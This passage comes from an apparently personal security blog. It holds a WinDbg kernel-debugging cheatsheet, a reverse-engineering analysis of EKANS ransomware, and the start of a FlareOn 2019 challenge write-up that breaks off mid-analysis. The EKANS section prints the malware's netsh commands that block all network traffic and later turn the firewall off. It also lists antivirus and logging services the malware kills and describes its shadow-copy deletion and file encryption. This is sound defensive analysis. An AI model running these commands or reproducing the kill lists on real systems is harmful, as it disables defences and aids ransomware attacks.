3.6.2. If using named pipes, go to <code class="language-plaintext highlighter-rouge">File &gt; Attach to kernel &gt; COM</code>, fill in the pipe name we chose for the Serial Port in the port filed and the same Baud Rate<br />
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_5.png" alt="windbg_config" class="align-center" /></p>

<p>3.7. Click OK and Windbg should start waiting for connection<br />
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_6.png" alt="windbg_connect1" class="align-center" /></p>

<p>3.8. Start your VM and your debugger should connect 
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_7.png" alt="windbg_connect2" class="align-center" /></p>

<p>3.9. If you press the Break button, the debugger will break execution of the OS and you’ll be able to issue windbg commands
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_8.png" alt="windbg_break" class="align-center" /></p>

<p>3.10. If your debugger environmnet is also in a VM, and you want to configure kernel debugging between two VMs you’ll need the same Serial Port VM settings for the debugger VM but with minor differences.</p>

<p>Set the Serial Port as client.<br />
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_9.png" alt="debugger_vm1" class="align-center" /></p>

<p>Run Windbg with default COM settings, but specifying the COM port number as the Serial Port number.<br />
<img src="https://idafchev.github.io/blog/assets/images/kernel_debugging/kernel_debugging_10.png" alt="debugger_vm2" class="align-center" /></p>

<h1 id="4-windbg-initial-steps">4. Windbg initial steps</h1>
<hr />
<p>After connecting to the debugged kernel, the first commands which are useful to use in windbg are:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!sym noisy // makes the symbol loading more verbose. Helps to troubleshoot any problems with the symbol loading
.symfix    // automatically sets the symbol path to point to the Microsoft symbol store
.reload    // deletes all symbol information and reloads the symbols as needed
</code></pre></div></div>
<h1 id="5-windbg-command-cheatsheet">5. Windbg command cheatsheet</h1>
<hr />
<p>Windbg has a lot of commands. Here I will list only those which might be useful for these blog posts.</p>

<p>Windbg commands can be separated in 3 categories:</p>
<ul>
  <li>Regular commands (dd, dt, x). Used for debugging</li>
  <li>Meta (dot) commands. They are used to control the behavior of the debugger</li>
  <li>Extension commands. They start with ! (!analyze, !peb, !teb). Implemented as functions part of extension DLLs.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>To abort long-running comand use Break button or Ctrl+Break.

Virtual pseudo-registers provided by windbg start with dollar sign $:
$ra - return addrs on stack
$ip - instruction pointer
$peb - address of PEB
$teb - address of TEB

Referencing registers in an expression should be preceded with @ sign.
eax is the same as @eax
@peb is the same as @$peb

poi(&lt;addr/symbol&gt;) - dereference a pointer
Each symbol is treated as an address (the value of a symbol is its memory address).
To get the value of the symbol held at its address it has to be dereferenced.

? - display regular commands
.help - display dot commands
.help a* - display dot commands starting with a
? &lt;expression&gt; - evaluate an expression
? 5+5
!Ext.help - list general extensions

ld &lt;modulename&gt; - load symbols for module
ld kernel32

x Module!Symbol - Examine symbols
x /t Module!Symbol - also show data type
x /v Module!Symbol - verbose (show type and size)
x *! - list all modules
x ntdll!*  - list all symbols of ntdll
x kernel23!*LoadLibrary* - list all symbols containing LoadLibrary

ln &lt;address&gt; - list symbols near that address. Also displays their addresses

lm[Option] - list modules
   v - verbose
   l - with symbols
   k - only kernel symbols
   u - only user symbols
   f - show image path
   m [pattern]

lm - list all loaded and unloaded modules, and their addresses
lmv m kernel32 - show information about kernel32 module
lm m nt - show information about the kernel (ntoskrnl.exe) module

!lmi - detailed info about a module
!lmi kernel32

!dh &lt;address&gt; - display PE headers at address
!dh -f &lt;address&gt; - file headers only
!dh -s &lt;address&gt; - section headers only
!dh -e &lt;address&gt; - exported functions

r - dump all registers
r eax, ebx,... - dump only specific registers
r $peb - dump address of PEB ($peb is pseudo-register)
r $teb - dump address of PEB ($peb is pseudo-register)

!peb - display formatted view of the PEB
!teb - display formatted view of the TEB

dt [Module!]SymbolName - dump variable info (local variable, function parameter, global variable or data type)
dt [Module!]Sym* - list symbols starting with Sym
dt [Module!]SymbolName -v - verbose (address and type)
dt ntdll!_PEB - show the PEB structure
dt ntdll!_PEB &lt;address&gt; - dump PEB structure found at specified address
dt ntdll!_PEB @$peb - dump PEB of current process
dt nt!_EPROCESS
dt nt!_EPROCESS poi(nt!PsInitialSystemProcess)
dt nt!_ex_fast_ref poi(PsInitialSystemProcess)+4b8

!address &lt;address&gt; - display information about the memory at the specified address
!address esp

d* &lt;address&gt; - display memory at address
db - byte
dw - word
dW - word + ascii
dd - dword
dc - dword + ascii
dq - qword
da - ascii
du - unicode
db &lt;addr&gt; - display 1 byte at specified address
dd &lt;addr&gt; L3 - display 3 dwords

dyb &lt;addr&gt; - binary + byte
dyd &lt;addr&gt; - bynary + dword

d*s &lt;address&gt; - display words and symbols at address; Address is assumed to be a series of addresses in symbol table
dds - dwords
dqs - qwords
ddp - display referenced memory

dx - Display C\C++ Expression
dx @$systemProc = *(nt!_EPROCESS**)&amp;nt!PsInitialSystemProcess  - dereference and cast PsInitialSystemProcess as EPROCESS structure
dx (char*)@$systemProc-&gt;ImageFileName  - print ImageFileName field from systemProc structure

uf &lt;address&gt; - unassemble function
uf /c &lt;address&gt; - show only function calls
u &lt;address&gt; L300 - unassemble and limit to 300 assembly instructions

!process 0 &lt;Flags&gt; [ImageName] - list information about process
!process 0 0 - list all processes
!process 0 0 cmd.exe - show information about process cmd.exe
!process -1 0 - current process context
!process 0 1 cmd.exe - get more inforation about the process cmd.exe (including token address)
!process 0 1 system - get information about the system process

.process /i /p &lt;address&gt; - change context to the process at &lt;address&gt;

!token &lt;address&gt; - info about process token

!pte &lt;VA&gt; - convert Virtual Address to Physical Address

!vtop &lt;DirectoryTableBase&gt; &lt;VirtualAddress&gt; - translate VA to Physical address. Needs to be in the context of a process. Lowest 3 nibbles of DirectoryTableBase need to be zeroed-out

rdmsr &lt;msr index&gt; - read the value of MSR register

s -[option] &lt;start_addr&gt; &lt;end_addr&gt; &lt;data_to_search&gt; - search in memory
s -b - search bytes
s -a - search ascii
s-b &lt;start addr&gt; &lt;endaddr&gt; 4d 5a 90 00 - search MZ in a region
s -a @rsp L10000000 "B7"

Useful NTOSKRNL Symbols
nt!PsInitialSystemProcess - SYSTEM EPROCESS pointer
nt!PsLoadedModuleList - Loaded modules in kernel (_LIST_ENTRY)
nt!PspNotifyEnableMask - Flag which can disable kernel notify routines
</code></pre></div></div>

<h1 id="5-references">5. References</h1>
<hr />
<ol>
  <li><a href="http://windbg.info/doc/1-common-cmds.html">http://windbg.info/doc/1-common-cmds.html</a></li>
  <li><a href="http://windbg.info/download/doc/pdf/WinDbg_A_to_Z_color.pdf">http://windbg.info/download/doc/pdf/WinDbg_A_to_Z_color.pdf</a></li>
  <li><a href="https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md">https://github.com/hugsy/defcon_27_windbg_workshop/blob/master/windbg_cheatsheet.md</a></li>
  <li><a href="https://github.com/repnz/windbg-cheat-sheet">https://github.com/repnz/windbg-cheat-sheet</a></li>
  <li><a href="https://github.com/alex-ilgayev/windbg-kernel-debug-cheat-sheet">https://github.com/alex-ilgayev/windbg-kernel-debug-cheat-sheet</a></li>
  <li><a href="https://juniper.github.io/contrail-windows-docs/For%20developers/Debugging/Kernel_Debugging/">https://juniper.github.io/contrail-windows-docs/For%20developers/Debugging/Kernel_Debugging/</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection">https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-a-network-debugging-connection</a></li>
  <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/">https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="debugging" /><category term="driver" /><category term="kernel" /><category term="windbg" /><summary type="html"><![CDATA[Configuring environment for kernel debugging]]></summary></entry><entry><title type="html">Malware analysis of EKANS ransomware</title><link href="https://idafchev.github.io/blog/EKANS_analysis/" rel="alternate" type="text/html" title="Malware analysis of EKANS ransomware" /><published>2020-07-25T01:00:00+03:00</published><updated>2020-07-25T01:00:00+03:00</updated><id>https://idafchev.github.io/blog/EKANS_analysis</id><content type="html" xml:base="https://idafchev.github.io/blog/EKANS_analysis/"><![CDATA[<h1 id="1-summary">1. Summary</h1>
<hr />
<p>EKANS malware is a ransomware which was first detected in December 2019 and while ransomware attacks are nothing new, EKANS had a functionality which made it stand out. In the list of processes, that it tries to terminate, there were some which are related to Industrial Control Systems (ICS).[1]</p>

<p>During the security incidents last month, that hit the news, about the EKANS Ransomware, I decided to look at the inner workings of the malware and share my findings with the security community. My analysis was part of a research done in our <a href="https://www.tbs.tech/product/asoc/">ASOC</a> team, part of <a href="https://www.tbs.tech">TBS</a></p>

<p>We intended to publish the results earlier, but for various reasons, this blog post was delayed quite a bit. Nevertheless I think the information is still worth publishing.</p>

<p>The analyzed sample was obtained from the <a href="https://abuse.ch/">abuse.ch</a> project, <a href="https://bazaar.abuse.ch/">MalwareBazaar</a>. Although the sample is publicly available, some parts of the analysis are anonymized to prevent harming victims reputation in any way.</p>

<p>If you’re interested, you can check the EKANS string decrypton tool I wrote:<br />
<a href="https://github.com/idafchev/EKANS-String-Decryptor">https://github.com/idafchev/EKANS-String-Decryptor</a></p>

<h1 id="2-analysis">2. Analysis</h1>
<hr />

<h2 id="21-basic-static-analysis">2.1. Basic static analysis</h2>
<p>The binary contains lots of strings referencing Go source files. The reason for this is that the EKANS malware is written in the Go programming language.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot01.png" alt="bintext" class="align-center" /></p>

<p>I wasn’t familiar with Go, so before proceeding with the analysis, I had to learn to program in Go, read about the specific features that the language provides and understand how they’re implemented on the assembly level.</p>

<p>If you’re not familiar with Go, I recommend GOing through the official tutorial <a href="https://tour.golang.org/welcome/1">A Tour of Go</a>. I went through all exercises to get some basic understanding of the language. Then, I compiled them locally and loaded them in a disassembler in order to compare the assembly with the actual code. Several online resources and blog posts explaning low level details about the Go compiler and how to reverse Go binaries also proved really helpful.</p>

<p>Information about the debugging symbols in Go binaries cannot easily be stripped completely, and so the original function names can be recovered.
I used the <a href="https://go-re.tk/gore/">Go Reverse Engineering Toolkit</a> library to write a script with which to restore the symbol names.
Unfortunately, EKANS has all its non-library functions obfuscated.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot02.png" alt="bintext" class="align-center" /></p>

<p>Another thing that can be seen from the strings is the Go project folder, which sits under the path <code class="language-plaintext highlighter-rouge">C:\Users\Admin3\</code>, meaning that the username the attackers used on their development machine was <code class="language-plaintext highlighter-rouge">Admin3</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot03.png" alt="bintext" class="align-center" /></p>

<p>Checking the entropy with Detect It Easy, we can make an assumtion that the binary is not packed.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot04.png" alt="redress" class="align-center" /></p>

<p>With the help of <a href="https://go-re.tk/redress/">redress</a> we check that it was compiled with go1.10.8.
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot05.png" alt="entropy" class="align-center" /></p>

<h2 id="22-encrypted-strings">2.2. Encrypted strings</h2>
<p>Almost all strings which are used by the program logic of EKANS are encrypted using a simple XOR cipher.
Every string is encrypted using different key and has its own dedicated function which decrypts that string specifically. This means that there are as many string decryption functions as there are strings (over 2000).</p>

<p>Below is the disassembly of the string decryption function used by EKANS.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot07.png" alt="string decryption" class="align-center" /></p>

<p>And here’s the implementation in python:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot08.png" alt="string decryption" class="align-center" /></p>

<p>I wrote a string decryption tool which decrypts all the strings in the binary. It can also create an IDA IDC script in order to rename all decryption routines. The script is available at: <a href="https://github.com/idafchev/EKANS-String-Decryptor">https://github.com/idafchev/EKANS-String-Decryptor</a></p>

<h2 id="23-environmental-awareness">2.3 Environmental awareness</h2>
<p>One of the first things EKANS ransomware does is to lookup the IP address of a hardcoded domain name, which belongs to the victim. Unlike other strings, the domain name is stored in plaintext.
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot09.png" alt="ip lookup" class="align-center" /></p>

<p>The resolved IP address of the domain is then compared to a hardcoded IP address. In this specific sample the IP address was a private address, possibly belonging to an internal host.<br />
If the resolved address does not match the hardcoded one, the ransomware terminates without doing anything.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot10.png" alt="ip compare" class="align-center" /></p>

<p>After that, EKANS checks if the host it’s executing on is a domain controller. To do this it queries information from the <code class="language-plaintext highlighter-rouge">Win32_ComputerSytem</code> Windows Management Instrumentation (WMI) class, using the WQL query <code class="language-plaintext highlighter-rouge">select DomainRole FROM Win32_ComputerSytem</code>.</p>

<p>According to the Microsoft documentation <code class="language-plaintext highlighter-rouge">DomainRole</code> property can have the following values:<br />
0 – Standalone Workstation<br />
1 – Member Workstation<br />
2 – Standalone Server<br />
3 – Member Server<br />
4 – Backup Domain Controller<br />
5 – Primary Domain Controller</p>

<p>In order to check if the host is a domain controller, EKANS compares if the value of <code class="language-plaintext highlighter-rouge">DomainRole</code> property is larger than 3.
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot11.png" alt="wmi query" class="align-center" /></p>

<p>If the host is a domain controller the malware does not encrypt the files. Instead it drops the ransom note and exits. If the host is not a domain controller, then it proceeds with encrypting the files and without leaving a ransom note.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot12.png" alt="domain controller check" class="align-center" /></p>

<p>It also creates a global mutex called <code class="language-plaintext highlighter-rouge">EKANS</code> in order to prevent several instances of the malware to run at the same time. If another instance is already running, the string <code class="language-plaintext highlighter-rouge">"There can be only one"</code>, is decrypted and execution stops. The string looks like a reference to the movie Highlander, though it might not be intentional.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot13.png" alt="there can be only one" class="align-center" /></p>

<h2 id="24-ransom-note">2.4 Ransom note</h2>
<p>The ransom note is dropped only on domain controllers. It’s written in the paths <code class="language-plaintext highlighter-rouge">C:\Users\Public\Desktop\Decrypt-Your-Files.txt</code> and <code class="language-plaintext highlighter-rouge">C:\Decrypt-Your-Files.txt</code><br />
Interestingly it does not contain how much ransom the attackers want.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot06.png" alt="ransom note" class="align-center" /></p>

<h2 id="25-blocking-network-communication">2.5 Blocking network communication</h2>
<p>Before proceeding further, the malware blocks all inbound and outbound network communication.  In order to do this, it executes the following two commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
netsh advfirewall set allprofiles state on
</code></pre></div></div>

<p>Below you can see the strings which get decrypted and then concatenated in order to construct the commands.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot14.png" alt="firewall off" class="align-center" /></p>

<p>The resulting command is then executed with <code class="language-plaintext highlighter-rouge">os.exec.Command().Run()</code><br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot15.png" alt="firewall off" class="align-center" /></p>

<p>This behaviour can also be seen with Process Monitor, during basic dynamic analysis:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot16.png" alt="firewall off" class="align-center" /></p>

<p><img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot17.png" alt="firewall off" class="align-center" /></p>

<h2 id="26-service-and-process-termination">2.6 Service and process termination</h2>
<p>Once all network communication is blocked, it starts searching for specific service and process names running on the host. If a match is found it tries to terminate them.</p>

<p>It contains an exhaustive list of services and processes. The number of services which are searched for is over 300 and the number of processes is over 1100. Only a very small subset of those are included in this blog post. Many of those are services/processes related to anti-malware software, backup and database software, log collectors and forwarders, etc. There are also some ordinary user processes in the list, like steam.exe, MS Office applications and web browsers.</p>

<p>If you’re interested, the full lists of processes and services which EKANS tries to stop are avaiable below:<br />
<a href="https://github.com/idafchev/EKANS-String-Decryptor/blob/master/ekans_decrypted_process_names.txt">Decrypted process names</a><br />
<a href="https://github.com/idafchev/EKANS-String-Decryptor/blob/master/ekans_decrypted_service_names.txt">Decrypted service names</a></p>

<p>Services are stopped using the WinAPI functions <code class="language-plaintext highlighter-rouge">OpenServiceW</code> and <code class="language-plaintext highlighter-rouge">ControlService</code>, while processes are terminated using <code class="language-plaintext highlighter-rouge">OpenProcess</code> and <code class="language-plaintext highlighter-rouge">TerminateProcess</code>.</p>

<p>Subset of the services:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sophos File Scanner Service
BackupExecAgentBrowser
MSExchangeMTA
MSSQLSERVER
avast! Antivirus
SentinelAgent
Eventlog
NtLmSsp
AdobeARMservice
MySQL80
FireEye Endpoint Agent
nxlog
SplunkForwarder
</code></pre></div></div>

<p>Subset of the processes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>firefox.exe
chrome.exe
excel.exe
mysqld.exe
steam.exe
avastsvc.exe
avguard.exe
fortisslvpndaemon.exe
nortonsecurity.exe
auth8021x.exe
clamscan.exe
fortifw.exe
msmpeng.exe
</code></pre></div></div>

<h2 id="27-deleting-volume-shadow-copies">2.7 Deleting Volume Shadow Copies</h2>
<p>EKANS then queries WMI using the WQL query <code class="language-plaintext highlighter-rouge">SELECT * FROM Win32_ShadowCopy</code> to enumerate any existing volume shadow copies (VSC). After the VSC enumeration, it proceeds with their deletion, again using WMI.</p>

<p>This can be seen from the output from API Monitor during dynamic analysis.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot21.png" alt="api monitor" class="align-center" /></p>

<p>We’re approaching the end of EKANS. The final function calls in the main function are shown below:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot20.png" alt="end of main function" class="align-center" /></p>

<h2 id="28-encryption">2.8 Encryption</h2>
<p>Before the actual encryption, strings representing file extensions, folders and files are decrypted. These are used to check which files to encrypt and which files or folder to exclude.</p>

<p>Some system files and folders are excluded from encryption to prevent the system from crashing and thus interrupting the encryption process.</p>

<p>EKANS enumerates the logical drives and then starts walking the filesystem on each drive. Each file is checked against the above-mentioned lists with extensions, filenames and folders in order to determine whether it should be encrypted.
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot22.png" alt="drive enumeration" class="align-center" /></p>

<p>When the encryption starts, EKANS waits for all encryption threads to finish and all files to be encrypted. After that it iterates through all encrypted files and starts renaming them.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot36.png" alt="rename files" class="align-center" /></p>

<p>Each file is checked if it is already encrypted by checking whether it has the <code class="language-plaintext highlighter-rouge">"EKANS"</code> signature at the end of the file. Files which are already encrypted are skipped.</p>

<p>New <code class="language-plaintext highlighter-rouge">16-byte</code> Initialization Vector (IV) and <code class="language-plaintext highlighter-rouge">256bit</code> key are generated for <strong>each</strong> file, so each file is encrypted using different key. The IV and key are generated using the <code class="language-plaintext highlighter-rouge">rand.Read()</code> function which on Windows systems uses the <code class="language-plaintext highlighter-rouge">CryptGenRandom</code> WinAPI function internally.[2]</p>

<p>Files which are already encrypted are skipped:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot24.png" alt="skip encrypted files" class="align-center" /></p>

<p>Generating 16-byte IV using <code class="language-plaintext highlighter-rouge">rand.Read()</code>:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot25.png" alt="generating IV" class="align-center" /></p>

<p>Generating 256bit AES key using <code class="language-plaintext highlighter-rouge">rand.Read()</code>:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot26.png" alt="generating AES Key" class="align-center" /></p>

<p>The AES algorithm is used in CTR mode and the contents of the files are encrypted using the method <code class="language-plaintext highlighter-rouge">ctr.XORKeyStream()</code>. The contents of the files are read in chunks of <code class="language-plaintext highlighter-rouge">0x19000</code> bytes and when all data in the file is encrypted, they get overwritten with the new content.</p>

<p>AES in CTR mode:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot27.png" alt="aes ctr mode" class="align-center" /></p>

<p>Files are read in <code class="language-plaintext highlighter-rouge">0x19000</code> byte chunks:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot28.png" alt="aes chunks" class="align-center" /></p>

<p>Encrypting the buffer with <code class="language-plaintext highlighter-rouge">ctr.XORKeyStream</code> method:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot29.png" alt="aes ctr encrypt" class="align-center" /></p>

<p>After the file is encrypted, the AES key gets encrypted using the <code class="language-plaintext highlighter-rouge">rsa.EncryptOAEP</code> function. OAEP stands for Optimal Asymmetric Encryption Padding which is a padding scheme for RSA which adds a level of randomness to the algorithm.</p>

<p>EKANS then appends a structure to the end of the file containing the original filename, IV and encrypted AES key. The structure is in a gob encoding which is a binary go-specific encoding used for serialization. The low level details about the encoding are described in the go documentation.[3][4]</p>

<p>The encryption of the AES key with the <code class="language-plaintext highlighter-rouge">rsa.EncryptOAEP</code> function:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot32.png" alt="rsa" class="align-center" /></p>

<p>Data is appended at the end of the file using gob:<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot34.png" alt="gob" class="align-center" /></p>

<p>When encryption is finished, before the ransomware process terminates it restores network communication with to following commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netsh advfirewall set allprofiles state off
</code></pre></div></div>

<h2 id="29-encrypted-files">2.9 Encrypted files</h2>
<p>The structure which is appended to the end of the encrypted files is shown below. At the end the <code class="language-plaintext highlighter-rouge">“EKANS”</code> signature is appended and before that is the size of the gob structure in little-endian format.<br />
<img src="https://idafchev.github.io/blog/assets/images/ekans/ekans_screenshot37a.png" alt="file format" class="align-center" /></p>

<p>The coloured regions in the picture are as follows:</p>
<ol>
  <li>The “EKANS” Signature</li>
  <li>Length of the gob structure in little-endian format</li>
  <li>The RSA encrypted AES key</li>
  <li>The original filename before encryption.</li>
</ol>

<h1 id="3-conclusions">3. Conclusions</h1>
<hr />
<p>No privilege escalation, network communication or spreading mechanisms were found. This means that the attackers who wrote EKANS, compromise the environment manually and probably make sure they have the necessary privileges to execute the malware.</p>

<p>The ransom note is dropped only on domain controllers which could mean that the attackers try to compromise the whole domain before deploying the malware.<br />
The AES keys used to encrypt the files are encrypted with the public RSA key of the attackers. Decryption is not possible without the private RSA key.</p>

<h1 id="4-recommendations">4. Recommendations</h1>
<hr />
<p>It is not known how the attackers compromise the victims initially, but it is suspected that it’s probably through Internet exposed RDP. The general recommendations when it comes to a ransomware attack are:</p>
<ul>
  <li>Maintain offline backups for critical systems.</li>
  <li>Use strong passwords.</li>
  <li>Monitor the servers and network environment for suspicious security events.</li>
  <li>Update software versions and apply patches whenever possible.</li>
  <li>Do regular vulnerability scans.</li>
  <li>Disable any services used for administration (SSH, RDP, etc.) accessible from the internet. Use VPN to connect to the internal network and then connect to the intended services.</li>
</ul>

<h1 id="5-references">5. References</h1>
<hr />
<ol>
  <li><a href="https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/">https://www.dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/</a></li>
  <li><a href="https://golang.org/src/crypto/rand/rand.go">https://golang.org/src/crypto/rand/rand.go</a></li>
  <li><a href="https://blog.golang.org/gob">https://blog.golang.org/gob</a></li>
  <li><a href="https://golang.org/src/encoding/gob/doc.go">https://golang.org/src/encoding/gob/doc.go</a></li>
</ol>]]></content><author><name>Ilia Dafchev</name></author><category term="posts" /><category term="malware" /><category term="research" /><category term="reversing" /><category term="ransomware" /><category term="EKANS" /><summary type="html"><![CDATA[Analysis of the EKANS ransomware]]></summary></entry><entry><title type="html">FlareOn 2019 Writeup - Part 2</title><link href="https://idafchev.github.io/blog/flareon2019-part2/" rel="alternate" type="text/html" title="FlareOn 2019 Writeup - Part 2" /><published>2019-11-02T00:00:00+02:00</published><updated>2019-11-02T00:00:00+02:00</updated><id>https://idafchev.github.io/blog/flareon2019-part2</id><content type="html" xml:base="https://idafchev.github.io/blog/flareon2019-part2/"><![CDATA[<p>Part 2 contains my solutions for challenges 4 and 5.</p>

<h1 id="challenge-4---dnschess">Challenge 4 - Dnschess</h1>
<hr />
<p>Task:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Some suspicious network traffic led us to this unauthorized chess 
program running on an Ubuntu desktop. This appears to be the work 
of cyberspace computer hackers. You'll need to make the right moves 
to solve this one. Good luck!
</code></pre></div></div>

<p>This time we’re dealing with a 64bit ELF binary.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_filetype.png" alt="4_dnschess_filetype.png" class="align-center" /></p>

<p>One of the files in this challenge is a packet capture containing some DNS traffic.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_dns_2.png" alt="4_dnschess_dns_2.png" class="align-center" /></p>

<p>When executed a GUI chess board is displayed.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_gui_1.png" alt="4_dnschess_gui_1.png" class="align-center" /></p>

<p>If I try to play a move I get a message that DeepFLARE has resigned and the game is over.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_gui_2.png" alt="4_dnschess_gui_2.png" class="align-center" /></p>

<p>I captured the network traffic while running the program to see what network connections it tries to make.
After I made a move a DNS request was made for a domain in the following format<br />
<code class="language-plaintext highlighter-rouge">piece</code>-<code class="language-plaintext highlighter-rouge">source</code>-<code class="language-plaintext highlighter-rouge">destination</code>.game-of-thrones.flare-on.com.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_dns_1.png" alt="4_dnschess_dns_1.png" class="align-center" /></p>

<p>Now to disassemble it! The first step is to identify the <code class="language-plaintext highlighter-rouge">main</code> function inside the <code class="language-plaintext highlighter-rouge">entry</code> point. <code class="language-plaintext highlighter-rouge">Main</code> is the argument (pointer) passed in the <code class="language-plaintext highlighter-rouge">rdi</code> register to the <code class="language-plaintext highlighter-rouge">libc_start_main_ptr</code> function.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_entry.png" alt="4_dnschess_entry.png" class="align-center" /></p>

<p>Because the application uses GTK, inside the <code class="language-plaintext highlighter-rouge">main</code> function there are some GTK related functions. I never used GTK, but after a bit of googling[<a href="#references">1</a>] I managed to identify the function which GTK calls when the application starts. I named it <code class="language-plaintext highlighter-rouge">gtk_main</code>.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_main.png" alt="4_dnschess_main.png" class="align-center" /></p>

<p>Near the end of <code class="language-plaintext highlighter-rouge">gtk_main</code>, the application loads the ChessAI.so library and then finds the address of <code class="language-plaintext highlighter-rouge">getAiName</code> function.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_gtk_main_1.png" alt="4_dnschess_gtk_main_1.png" class="align-center" /></p>

<p>Then it also finds the addresses of <code class="language-plaintext highlighter-rouge">getAiGreeting</code> and <code class="language-plaintext highlighter-rouge">getNextMove</code> functions.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_gtk_main_2.png" alt="4_dnschess_gtk_main_2.png" class="align-center" /></p>

<p>At the end of <code class="language-plaintext highlighter-rouge">gtk_main</code> the program jumps to a function I called <code class="language-plaintext highlighter-rouge">ActivateCallback</code>. Inside this function the global variable which counts the turn number is initialized to 0. I didn’t make detailed notes, so I don’t remember how I figured out the meaning of this variable.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_gtk_main_3.png" alt="4_dnschess_gtk_main_3.png" class="align-center" /></p>

<p><img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_activate_callback.png" alt="4_dnschess_activate_callback.png" class="align-center" /></p>

<p>Checking the xrefrences for the <code class="language-plaintext highlighter-rouge">getNextMove</code> function pointer leads to the function responsible for calling it. You can see that the turn number is passed in the <code class="language-plaintext highlighter-rouge">edi</code> register as an argument.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_call_get_next_move_1.png" alt="4_dnschess_call_get_next_move_1.png" class="align-center" /></p>

<p>At the end of the function the trun counter is increased by 1.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_call_get_next_move_2.png" alt="4_dnschess_call_get_next_move_2.png" class="align-center" /></p>

<p>Now it’s time to analyze the ChessAI.so library and see what <code class="language-plaintext highlighter-rouge">getNextMove</code> actually does. At the beginning it concatenates strings in order to construct a FQDN and then calls <code class="language-plaintext highlighter-rouge">gethostbyname</code> to try and resolve this FQDN to an IP address.<br />
<img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_get_next_move_1.png" alt="4_dnschess_get_next_move_1.png" class="align-center" /></p>

<p>If it gets an answer the following checks are performed:</p>
<ol>
  <li>Checks if the first byte of the IP address is equal to 127. This means that the IP address should be a loopback address.</li>
  <li>The last byte of the IP address must be an even number.</li>
  <li>The first 4 bits of the third byte must be equal to the current turn number. This means that the maximum number of turns is 16 (4 bit values range from 0 to 15).</li>
</ol>

<p><img src="https://idafchev.github.io/blog/assets/images/flareon2019/4_dnschess_get_next_move_2.png" alt="4_dnschess_get_next_move_2.png" class="align-center" /></p>

